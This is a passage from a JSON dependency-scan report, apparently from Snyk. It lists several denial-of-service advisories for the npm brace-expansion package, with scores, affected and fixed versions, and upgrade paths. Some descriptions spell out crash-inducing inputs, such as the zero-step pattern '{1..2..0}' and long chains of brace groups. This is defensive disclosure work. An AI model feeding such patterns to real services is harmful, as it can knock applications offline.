"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
